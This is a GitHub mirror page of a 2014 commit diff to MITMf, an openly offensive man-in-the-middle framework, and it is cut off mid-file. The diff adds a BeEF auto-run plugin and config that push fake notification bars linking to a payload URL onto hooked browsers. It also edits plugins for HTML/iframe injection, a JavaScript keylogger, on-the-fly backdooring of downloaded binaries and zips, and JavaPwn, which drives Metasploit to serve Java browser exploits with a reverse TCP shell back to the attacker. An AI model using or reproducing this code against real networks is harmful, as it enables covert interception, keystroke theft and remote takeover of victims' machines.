1
0
mirror of https://github.com/byt3bl33d3r/MITMf.git synced 2025-03-12 04:35:49 -07:00

code cleanup on all plugins, disabled annoying "Starting new HTTP Connection" log message, added BeefAutorun plugin and beefapi lib

This commit is contained in:
byt3bl33d3r 2014-08-14 11:30:44 +02:00
parent e7cc6316f1
commit 73e7ca2f3d
17 changed files with 409 additions and 240 deletions

1
.gitignore vendored

@ -1,4 +1,3 @@
*.pyc
/plugins/old_plugins/
backdoored/
bdfactory/

@ -9,6 +9,7 @@ This tool is completely based on sergio-proxy https://code.google.com/p/sergio-p
Availible plugins:
- Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects
- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type
- AppCachePoison - Perform app cache poison attacks
- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients
- CacheKill - Kills page caching by modifying headers
@ -22,7 +23,7 @@ Availible plugins:
So far the most significant changes have been:
- Spoof plugin is live !! Supports ICMP, ARP and DNS spoofing
- Spoof plugin now supports ICMP, ARP and DNS spoofing
(DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/)
- Usage of third party tools has been completely removed (e.g. ettercap)
@ -31,13 +32,17 @@ So far the most significant changes have been:
- Addition of the JsKeylogger plugin
- Addition of the BeefAutorun plugin
- FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory
https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy
- Added msfrpc.py for interfacing with Metasploits rpc server
- Added beefapi.py for interfacing with BeEF's RESTfulAPI
- Added Replace plugin
- Addition of the app-cache poisoning attack by Krzysztof Kotowicz
- JavaPwn plugin now live! Auto-detect and exploit clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!!
- JavaPwn plugin auto-detects and exploits clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!!

@ -0,0 +1,31 @@
#Example config file for the BeefAutorun plugin
mode = oneshot #can be set to loop, or oneshot
#in loop mode the plugin will run modules on all hooked browsers every 10 seconds
#in oneshot mode the plugin will run modules only once per hooked browser
[ALL] #Runs specified modules on all hooked browsers
'Man-In-The-Browser'= '{}'
[targets] #Runs specified modules based on OS and Browser type
[[Windows]] #Target all Windows versions using Firefox and Internet Explorer
[[[FF]]]
'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}'
[[[IE]]]
'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}'
[[Windows 7]] #Target only Windows 7 using Chrome
[[[C]]]
'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}'
[[Linux]] #Target Linux platforms using Chrome
[[[C]]]
'Redirect Browser (Rickroll)' = '{}'

@ -2,9 +2,7 @@
import requests
import json
from random import sample
from time import sleep
from string import lowercase, digits
from unicodedata import normalize
class BeefAPI:
@ -34,7 +32,7 @@ class BeefAPI:
return True
elif r.status_code != 200:
return False
except Exception, e:
print "beefapi ERROR: %s" % e
@ -51,9 +49,9 @@ class BeefAPI:
return self.get_sessions("offline", "ip")
def get_sessions(self, state, value):
r = requests.get(self.hookurl).json()
hooks = []
try:
r = requests.get(self.hookurl + self.token).json()
for v in r["hooked-browsers"][state].items():
hooks.append(str(v[1][value]))
return hooks
@ -61,77 +59,77 @@ class BeefAPI:
print "beefapi ERROR: %s" % e
def getModid(self, name): #Returns module id
url = self.url + "%s" % (self.token)
r = requests.get(url).json()
url = self.mod_url + self.token
try:
r = requests.get(url).json()
for v in r.values():
if v["name"] == name:
return v["id"]
except KeyError:
print "beefapi ERROR: module '" + name + "' not found!"
return None
except Exception, e:
print "beefapi ERROR: %s" % e
def getModname(self, id): #Returns module name
url = self.url + "modules?token=%s" % (self.token)
r = requests.get(url).json()
url = self.mod_url + self.token
try:
r = requests.get(url).json()
for v in r.values():
if v["id"] == id:
return v["name"]
except KeyError:
print "beefapi ERROR: module '" + id + "' not found!"
return None
except Exception, e:
print "beefapi ERROR: %s" % e
def host2session(self, ip): # IP => Session
url = self.url + "hooks?token=%s" % (self.token)
r = requests.get(url).json()
def host2session(self, ip): #IP => Session
url = self.hookurl + self.token
try:
r = requests.get(url).json()
for v in r["hooked-browsers"]["online"].items():
if v[1]["ip"] == ip:
return v[1]["session"]
else:
session = None
if session == None:
if session is None:
for v in r["hooked-browsers"]["offline"].items():
if v[1]["ip"] == ip:
return v[1]["session"]
else:
return None
except KeyError:
pass
def session2host(self, session): # Session => IP
url = self.url + "hooks?token=%s" % (self.token)
r = requests.get(url).json()
except Exception, e:
print "beefapi ERROR: %s" % e
def session2host(self, session): #Session => IP
url = self.hookurl + self.token
try:
r = requests.get(url).json()
for v in r["hooked-browsers"]["online"].items():
if v[1]["session"] == session:
return v[1]["ip"]
else:
ip = None
if ip == None:
if ip is None:
for v in r["hooked-browsers"]["offline"].items():
if v[1]["session"] == session:
return v[1]["ip"]
else:
return None
except KeyError:
pass
except Exception, e:
print "beefapi ERROR: %s" % e
def runModule(self, session, mod_id, options={}): #Executes a module on a specified session
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps(options)
url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token)
return requests.post(url, headers=headers, data=payload).json()
def runModule(self, session, mod_id, options={}): #Executes a module on a specified session
try:
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps(options)
url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token)
return requests.post(url, headers=headers, data=payload).json()
except Exception, e:
print "beefapi ERROR: %s" % e
def moduleResult(self, session, mod_id, cmd_id):
url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token)
return requests.get(url).json()
def sessionInfo(self, session): #Returns parsed information on a session
url = self.url + "hooks/%s?token=%s" % (session, self.token)
return requests.get(url).json()

@ -1,19 +1,20 @@
from plugins.plugin import Plugin
from sslstrip.ResponseTampererFactory import ResponseTampererFactory
import threading
#import threading
class AppCachePlugin(Plugin):
name = "App Cache Poison"
optname = "app"
desc = "Performs App Cache Poisoning attacks"
has_opts = True
def initialize(self,options):
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.config_file = options.tampercfg
if self.config_file == None:
if self.config_file is None:
self.config_file = "./config_files/app_cache_poison.cfg"
print "[*] App Cache Poison plugin online"

117
plugins/BeefAutorun.py Normal file

@ -0,0 +1,117 @@
from plugins.plugin import Plugin
from time import sleep
import sys
import json
import threading
import logging
import libs.beefapi as beefapi
try:
from configobj import ConfigObj
except:
sys.exit('[-] configobj library not installed!')
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
class BeefAutorun(Plugin):
name = "BeEFAutorun"
optname = "beefauto"
has_opts = True
desc = "Autoruns BeEF modules based on Browser or OS type"
def initialize(self, options):
self.options = options
self.autoruncfg = "./config_files/beefautorun.cfg" or options.autoruncfg
self.beefip = options.beefip
self.beefport = options.beefport
self.beefuser = options.beefuser
self.beefpass = options.beefpass
beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport})
if beef.login(self.beefuser, self.beefpass):
print "[*] Successfully logged in to BeEF"
else:
sys.exit("[-] Error logging in to BeEF!")
userconfig = ConfigObj(self.autoruncfg)
self.Mode = userconfig['mode']
if self.Mode == 'oneshot':
print '[*] Setting mode to oneshot'
elif self.Mode == 'loop':
print '[*] Setting mode to loop'
else:
sys.exit("[-] Error: unrecognized mode set in config file")
self.All_modules = userconfig["ALL"]
self.Targeted_modules = userconfig["targets"]
print "[*] BeEFAutorun plugin online"
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
t.setDaemon(True)
t.start()
def autorun(self, beef):
already_hooked = []
already_ran = []
while True:
sessions = beef.onlineSessions()
if (sessions is not None) and (len(sessions) > 0):
for session in sessions:
session_ip = beef.session2host(session)
if session not in already_hooked:
logging.info("%s >> joined the horde!" % session_ip)
already_hooked.append(session)
if self.Mode == 'oneshot':
if session not in already_ran:
self.execModules(session, session_ip, beef)
already_ran.append(session)
elif self.Mode == 'loop':
self.execModules(session, session_ip, beef)
sleep(10)
else:
sleep(1)
def execModules(self, session, session_ip, beef):
session_browser = beef.sessionInfo(session)["BrowserName"]
session_os = beef.sessionInfo(session)["OsName"]
if len(self.All_modules) > 0:
logging.info("%s >> sending generic modules" % session_ip)
for module, options in self.All_modules.items():
mod_id = beef.getModid(module)
resp = beef.runModule(session, mod_id, json.loads(options))
if resp["success"] == 'true':
logging.info('%s >> sent module %s' % (session_ip, mod_id))
else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5)
logging.info("%s >> sending targeted modules" % session_ip)
for os in self.Targeted_modules:
if (os in session_os) or (os == session_os):
browsers = self.Targeted_modules[os]
if len(browsers) > 0:
for browser in browsers:
if browser == session_browser:
modules = self.Targeted_modules[os][browser]
if len(modules) > 0:
for module, options in modules.items():
mod_id = beef.getModid(module)
resp = beef.runModule(session, mod_id, json.loads(options))
if resp["success"] == 'true':
logging.info('%s >> sent module %s' % (session_ip, mod_id))
else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5)
def add_options(self, options):
options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]")
options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]")
options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]')
options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]')
options.add_argument('--autoruncfg', type=file, help='Specify a config file [default: beefautorun.cfg]')

@ -3,20 +3,21 @@ from plugins.Inject import Inject
from pprint import pformat
import logging
class BrowserProfiler(Inject, Plugin):
name = "Browser Profiler"
optname = "browserprofiler"
desc = "Attempts to enumerate all browser plugins of connected clients"
implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"]
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
has_opts = False
def initialize(self,options):
def initialize(self, options):
Inject.initialize(self, options)
self.html_payload = self.get_payload()
self.dic_output = {} # so other plugins can access the results
self.dic_output = {} # so other plugins can access the results
print "[*] Browser Profiler online"
def post2dict(self, string): #converts the ajax post to a dic
def post2dict(self, string): #converts the ajax post to a dic
dict = {}
for line in string.split('&'):
t = line.split('=')
@ -27,7 +28,7 @@ class BrowserProfiler(Inject, Plugin):
#Handle the plugin output
if 'clientprfl' in request.uri:
self.dic_output = self.post2dict(request.postData)
self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client
self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client
pretty_output = pformat(self.dic_output)
logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
@ -103,4 +104,4 @@ function make_xhr(){
}
</script>"""
return payload
return payload

@ -1,24 +1,25 @@
from plugins.plugin import Plugin
class CacheKill(Plugin):
name = "CacheKill Plugin"
optname = "cachekill"
desc = "Kills page caching by modifying headers"
implements = ["handleHeader","connectionMade"]
implements = ["handleHeader", "connectionMade"]
has_opts = True
bad_headers = ['if-none-match','if-modified-since']
def add_options(self,options):
bad_headers = ['if-none-match', 'if-modified-since']
def add_options(self, options):
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")
def handleHeader(self,request,key,value):
def handleHeader(self, request, key, value):
'''Handles all response headers'''
request.client.headers['Expires'] = "0"
request.client.headers['Cache-Control'] = "no-cache"
def connectionMade(self,request):
def connectionMade(self, request):
'''Handles outgoing request'''
request.headers['Pragma'] = 'no-cache'
for h in self.bad_headers:
if h in request.headers:
request.headers[h] = ""
request.headers[h] = ""

@ -2,7 +2,8 @@
# 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy
#################################################################################################
import sys, os
import sys
import os
import pefile
import zipfile
import logging
@ -18,6 +19,7 @@ try:
except:
sys.exit('[-] configobj library not installed!')
class FilePwn(Plugin):
name = "FilePwn"
optname = "filepwn"
@ -33,13 +35,10 @@ class FilePwn(Plugin):
elif aString.lower() == 'none':
return None
def initialize(self,options):
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.filepwncfg = options.filepwncfg
if self.filepwncfg == None:
self.filepwncfg = "./config_files/filepwn.cfg"
self.filepwncfg = "./config_files/filepwn.cfg" or options.filepwncfg
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload',
'application/x-msdos-program', 'binary/octet-stream']
@ -48,7 +47,7 @@ class FilePwn(Plugin):
#NOT USED NOW
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
self.userConfig = ConfigObj(self.filepwncfg)
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
@ -163,7 +162,7 @@ class FilePwn(Plugin):
except Exception as e:
logging.warning("EXCEPTION IN binaryGrinder %s", str(e))
return None
def zipGrinder(self, aZipFile):
"When called will unpack and edit a Zip File and return a zip file"
@ -262,9 +261,9 @@ class FilePwn(Plugin):
os.remove(tmpFile)
return aZipFile
def handleResponse(self,request,data):
def handleResponse(self, request, data):
content_header = request.client.headers['Content-Type']
if content_header in self.zipMimeTypes:
@ -272,25 +271,25 @@ class FilePwn(Plugin):
bd_zip = self.zipGrinder(data)
if bd_zip:
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
return {'request':request,'data':bd_zip}
return {'request': request, 'data': bd_zip}
elif content_header in self.binaryMimeTypes:
logging.info("%s Detected supported binary type!" % request.client.getClientIP())
fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f:
f.write(data)
patchb = self.binaryGrinder(tmpFile)
if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile))
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
return {'request':request,'data':bd_binary}
return {'request': request, 'data': bd_binary}
else:
logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header))
return {'request':request,'data':data}
return {'request': request, 'data': data}
def add_options(self, options):
options.add_argument("--filepwncfg", type=file, help="Specify a config file")
options.add_argument("--filepwncfg", type=file, help="Specify a config file")

@ -1,16 +1,21 @@
import os,subprocess,logging,time,re
#import os
#import subprocess
import logging
import time
import re
import argparse
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
class Inject(CacheKill,Plugin):
class Inject(CacheKill, Plugin):
name = "Inject"
optname = "inject"
implements = ["handleResponse","handleHeader","connectionMade"]
implements = ["handleResponse", "handleHeader", "connectionMade"]
has_opts = True
desc = "Inject arbitrary content into HTML content"
def initialize(self,options):
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.html_src = options.html_url
@ -25,7 +30,7 @@ class Inject(CacheKill,Plugin):
self.implements.remove("handleHeader")
self.implements.remove("connectionMade")
if options.html_file != None:
if options.html_file is not None:
self.html_payload += options.html_file.read()
self.ctable = {}
@ -34,21 +39,19 @@ class Inject(CacheKill,Plugin):
self.mime = "text/html"
print "[*] Inject plugin online"
def handleResponse(self,request,data):
def handleResponse(self, request, data):
#We throttle to only inject once every two seconds per client
#If you have MSF on another host, you may need to check prior to injection
#print "http://" + request.client.getRequestHostname() + request.uri
ip,hn,mime = self._get_req_info(request)
if self._should_inject(ip,hn,mime) and \
(not self.js_src==self.html_src==None or not self.html_payload==""):
ip, hn, mime = self._get_req_info(request)
if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""):
data = self._insert_html(data,post=[(self.match_str,self._get_payload())])
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
self.count+=1
self.count += 1
logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host']))
return {'request':request,'data':data}
return {'request': request, 'data': data}
else:
return
@ -57,46 +60,49 @@ class Inject(CacheKill,Plugin):
def add_options(self,options):
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
options.add_argument("--html-url",type=str,help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload",type=str,default="",help="String you would like to inject.")
options.add_argument("--html-file",type=argparse.FileType('r'),default=None,help="File containing code you would like to inject.")
options.add_argument("--match-str",type=str,default="</body>",help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--per-domain",action="store_true",help="Inject once per domain per client.")
options.add_argument("--rate-limit",type=float,help="Inject once every RATE_LIMIT seconds per client.")
options.add_argument("--count-limit",type=int,help="Inject only COUNT_LIMIT times per client.")
options.add_argument("--preserve-cache",action="store_true",help="Don't kill the server/client caching.")
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.")
options.add_argument("--match-str", type=str, default="</body>", help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
options.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")
options.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.")
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
def _should_inject(self,ip,hn,mime):
if self.count_limit==self.rate_limit==None and not self.per_domain:
def _should_inject(self, ip, hn, mime):
if self.count_limit == self.rate_limit is None and not self.per_domain:
return True
if self.count_limit != None and self.count > self.count_limit:
if self.count_limit is not None and self.count > self.count_limit:
#print "1"
return False
if self.rate_limit != None:
if ip in self.ctable and time.time()-self.ctable[ip]<self.rate_limit:
if self.rate_limit is not None:
if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit:
return False
if self.per_domain:
return not ip+hn in self.dtable
#print mime
return mime.find(self.mime)!=-1
def _get_req_info(self,request):
return mime.find(self.mime) != -1
def _get_req_info(self, request):
ip = request.client.getClientIP()
hn = request.client.getRequestHostname()
mime = request.client.headers['Content-Type']
return (ip,hn,mime)
return (ip, hn, mime)
def _get_iframe(self):
if self.html_src != None:
return '<iframe src="%s" height=0%% width=0%%></iframe>'%(self.html_src)
if self.html_src is not None:
return '<iframe src="%s" height=0%% width=0%%></iframe>' % (self.html_src)
return ''
def _get_js(self):
if self.js_src != None:
return '<script type="text/javascript" src="%s"></script>'%(self.js_src)
if self.js_src is not None:
return '<script type="text/javascript" src="%s"></script>' % (self.js_src)
return ''
def _insert_html(self,data,pre=[],post=[],re_flags=re.I):
def _insert_html(self, data, pre=[], post=[], re_flags=re.I):
'''
To use this function, simply pass a list of tuples of the form:
@ -107,11 +113,13 @@ class Inject(CacheKill,Plugin):
The pre array will have the match in front of your injected code, the post
will put the match behind it.
'''
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in pre]
post_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in post]
for i,r in enumerate(pre_regexes):
data=re.sub(r,"\g<match>"+pre[i][1],data)
for i,r in enumerate(post_regexes):
data=re.sub(r,post[i][1]+"\g<match>",data)
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in pre]
post_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in post]
for i, r in enumerate(pre_regexes):
data = re.sub(r, "\g<match>"+pre[i][1], data)
for i, r in enumerate(post_regexes):
data = re.sub(r, post[i][1]+"\g<match>", data)
return data

@ -6,13 +6,17 @@ import string
import random
import threading
import logging
import sys, os
import sys
try:
from configobj import ConfigObj
except:
sys.exit('[-] configobj library not installed!')
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
class JavaPwn(BrowserProfiler, Plugin):
name = "JavaPwn"
optname = "javapwn"
@ -26,28 +30,24 @@ class JavaPwn(BrowserProfiler, Plugin):
self.msfport = options.msfport
self.rpcip = options.rpcip
self.rpcpass = options.rpcpass
self.javapwncfg = options.javapwncfg
self.javapwncfg = './config_files/javapwn.cfg' or options.javapwncfg
if not self.msfip:
sys.exit('[-] JavaPwn plugin requires --msfip')
if not self.javapwncfg:
self.javapwncfg = './config_files/javapwn.cfg'
self.javacfg = ConfigObj(self.javapwncfg)
self.javaVersionDic = {}
for key, value in self.javacfg.iteritems():
self.javaVersionDic[float(key)] = value
self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit
self.sploited_ips = [] #store ip of pwned or not vulnarable clients so we don't re-exploit
try:
msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary
msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
msf.login('msf', self.rpcpass)
version = msf.call('core.version')['version']
print "[*] Succesfully connected to Metasploit v%s" % version
print "[*] Successfully connected to Metasploit v%s" % version
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
@ -57,110 +57,109 @@ class JavaPwn(BrowserProfiler, Plugin):
print "[*] JavaPwn plugin online"
t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
t.setDaemon(True)
t.start() #start the main thread
t.start() #start the main thread
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic
def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic
v = version.split(".")
return float(v[0] + "." + "".join(v[-(len(v)-1):]))
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe
logging.info("%s >> now injecting iframe to trigger exploit" % client_ip)
self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
logging.info('%s >> waiting for ze shells, Please wait...' % client_ip)
exit = False
i = 1
while i <= 30: #wait max 60 seconds for a new shell
if exit == True:
while i <= 30: #wait max 60 seconds for a new shell
if exit:
break
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
if len(shell) > 0:
for k,v in shell.items():
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
for k, v in shell.items():
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
logging.info("%s >> Got shell!" % client_ip)
self.sploited_ips.append(client_ip) #target successfuly exploited
self.sploited_ips.append(client_ip) #target successfuly exploited
exit = True
break
sleep(2)
i+=1
if exit == False: #We didn't get a shell
i += 1
if exit is False: #We didn't get a shell
logging.info("%s >> session not established after 30 seconds" % client_ip)
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def pwn(self, msfinstance):
while True:
if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited
if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited
vic_ip = brwprofile['ip']
client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float
client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float
logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
logging.info("%s >> Choosing exploit based on version string" % vic_ip)
min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version
if client_version < min_version: #since the two version strings are now floats we can use the < operand
exploit = self.javaVersionDic[min_version] #get the exploit string for that version
min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version
if client_version < min_version: #since the two version strings are now floats we can use the < operand
exploit = self.javaVersionDic[min_version] #get the exploit string for that version
logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit))
msf = msfinstance
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
jobs = msf.call('job.list') #get running jobs
if len(jobs) > 0:
for k,v in jobs.items():
info = msf.call('job.info', [k])
if exploit in info['name']:
logging.info('%s >> %s exploit already started' % (vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit
self.injectWait(msf, url, vic_ip)
else: #here we setup the exploit
rand_url = self.rand_url() # generate a random url
rand_port = random.randint(1000, 65535) # generate a random port for the payload listener
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
jobs = msf.call('job.list') #get running jobs
if len(jobs) > 0:
for k, v in jobs.items():
info = msf.call('job.info', [k])
if exploit in info['name']:
logging.info('%s >> %s exploit already started' % (vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit
self.injectWait(msf, url, vic_ip)
else: #here we setup the exploit
rand_url = self.rand_url() #generate a random url
rand_port = random.randint(1000, 65535) #generate a random port for the payload listener
#generate the command string to send to the virtual console
#new line character very important as it simulates a user pressing enter
cmd = "use exploit/multi/browser/%s\n" % exploit
cmd = "use exploit/multi/browser/%s\n" % exploit
cmd += "set SRVPORT %s\n" % self.msfport
cmd += "set URIPATH %s\n" % rand_url
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!)
cmd += "set LHOST %s\n" % self.msfip
cmd += "set LPORT %s\n" % rand_port
cmd += "exploit -j\n"
logging.debug("command string:\n%s" % cmd)
try:
logging.info("%s >> sending commands to metasploit" % vic_ip)
logging.info("%s >> sending commands to metasploit" % vic_ip)
#Create a virtual console
console_id = msf.call('console.create')['id']
#write the cmd to the newly created console
msf.call('console.write', [console_id, cmd])
logging.info("%s >> commands sent succesfully" % vic_ip)
except Exception, e:
logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e))
self.injectWait(msf, rand_url, vic_ip)
self.injectWait(msf, rand_url, vic_ip)
else:
logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
self.sploited_ips.append(vic_ip)
@ -175,17 +174,17 @@ class JavaPwn(BrowserProfiler, Plugin):
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]')
options.add_argument('--javapwncfg', type=file, help='Specify a config file')
options.add_argument('--javapwncfg', type=file, help='Specify a config file [default: javapwn.cfg]')
def finish(self):
'''This will be called when shutting down'''
msf = msfrpc.Msfrpc({"host": self.rpcip})
msf.login('msf', self.rpcpass)
jobs = msf.call('job.list')
if len(jobs) > 0:
print '[*] Stopping all running metasploit jobs'
for k,v in jobs.items():
for k, v in jobs.items():
msf.call('job.stop', [k])
consoles = msf.call('console.list')['consoles']

@ -2,14 +2,15 @@ from plugins.plugin import Plugin
from plugins.Inject import Inject
import logging
class jskeylogger(Inject, Plugin):
name = "Javascript Keylogger"
optname = "jskeylogger"
desc = "Injects a javascript keylogger into clients webpages"
implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"]
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
has_opts = False
def initialize(self,options):
def initialize(self, options):
Inject.initialize(self, options)
self.html_payload = self.msf_keylogger()
print "[*] Javascript Keylogger plugin online"
@ -105,4 +106,4 @@ if (var3 == 13 || var2.length > 3000)
}
</script>"""
return payload
return payload

@ -1,23 +1,28 @@
import os,subprocess,logging,time,re
import argparse
#import os
#import subprocess
import sys
import logging
import time
import re
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
class Replace(CacheKill,Plugin):
class Replace(CacheKill, Plugin):
name = "Replace"
optname = "replace"
implements = ["handleResponse","handleHeader","connectionMade"]
implements = ["handleResponse", "handleHeader", "connectionMade"]
has_opts = True
desc = "Replace arbitrary content in HTML content"
def initialize(self,options):
def initialize(self, options):
self.options = options
self.search_str = options.search_str
self.replace_str = options.replace_str
self.regex_file = options.regex_file
if (self.search_str==None or self.search_str=="") and self.regex_file is None:
if (self.search_str is None or self.search_str == "") and self.regex_file is None:
sys.exit("[*] Please provide a search string or a regex file")
self.regexes = []
@ -33,47 +38,46 @@ class Replace(CacheKill,Plugin):
self.ctable = {}
self.dtable = {}
self.mime = "text/html"
print "[*] Replace plugin online"
def handleResponse(self,request,data):
ip,hn,mime = self._get_req_info(request)
def handleResponse(self, request, data):
ip, hn, mime = self._get_req_info(request)
if self._should_replace(ip,hn,mime):
if self.search_str!=None and self.search_str!="":
if self._should_replace(ip, hn, mime):
if self.search_str is not None and self.search_str != "":
data = data.replace(self.search_str, self.replace_str)
logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
# Did the user provide us with a regex file?
for regex in self.regexes:
try:
data = re.sub(regex[0], regex[1], data)
